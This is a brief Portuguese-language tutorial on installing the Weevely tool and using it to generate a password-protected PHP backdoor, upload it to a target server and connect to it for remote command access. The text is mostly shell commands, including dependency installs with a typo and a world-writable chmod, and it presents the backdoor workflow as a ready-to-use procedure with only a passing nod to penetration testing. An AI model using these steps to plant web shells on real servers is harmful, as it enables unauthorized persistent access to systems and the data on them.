[Frenetic] PHP Backdoor - Weevely

[Twitter]: https://twitter.com/0xFrenetic
Desenvolvida em python, projetada para Administração remota de servidores e testes de penetração.
Essa ferramenta permite a criação de backdoor's utilizados para manter acesso a uma aplicação ou facilitar o uso
e gerenciamento de arquivos internos de um servidor.

- Download e Instalação das Dependências do Weevely:

Dependências:
# apt-get install g++ python-pip libyaml-dev python-dev pip
# pip install prettytable Mako pyaml dateutils readline PySocks --upgrade

---> Obs: Para Instalação do PySocks em Distribuição baseadas no Debian, Será necessario efetuar o procedimento manualmente:

# wget https://pypi.python.org/packages/7d/38/edca891ce16827a1de45cc347e4b6c22311eba25838b9825a5e6c48cf560/PySocks-1.6.7.tar.gz#md5=07007ec7ed46292dab06013f2e3af365
# tat xvf PySocks-1.6.7.tar.gz
# chmod 777 PySocks-1.6.7 -R
# cd PySocks-1.6.7/
# ./setup.py build
# ./setup.py install

Download:
# git clone https://github.com/epinna/weevely3.git
# cd weevely3/

Execução da Ferramenta:
# ./weevely.py

Gerando uma Backdoor:
# weevely generate SenhaEscolhida Caminho/para/Salvar/backdoor.php  //Obs: Depois da criação do arquivo php, você irá efetuar
o Upload do arquivo no servidor alvo.

Acessando a Backdoor:
# ./weevely.py http:/urldoservidor/backdoor.php SenhaEscolhida  //Obs: Você pode utilizar o comando :help para visualizar
a lista de comandos disponiveis.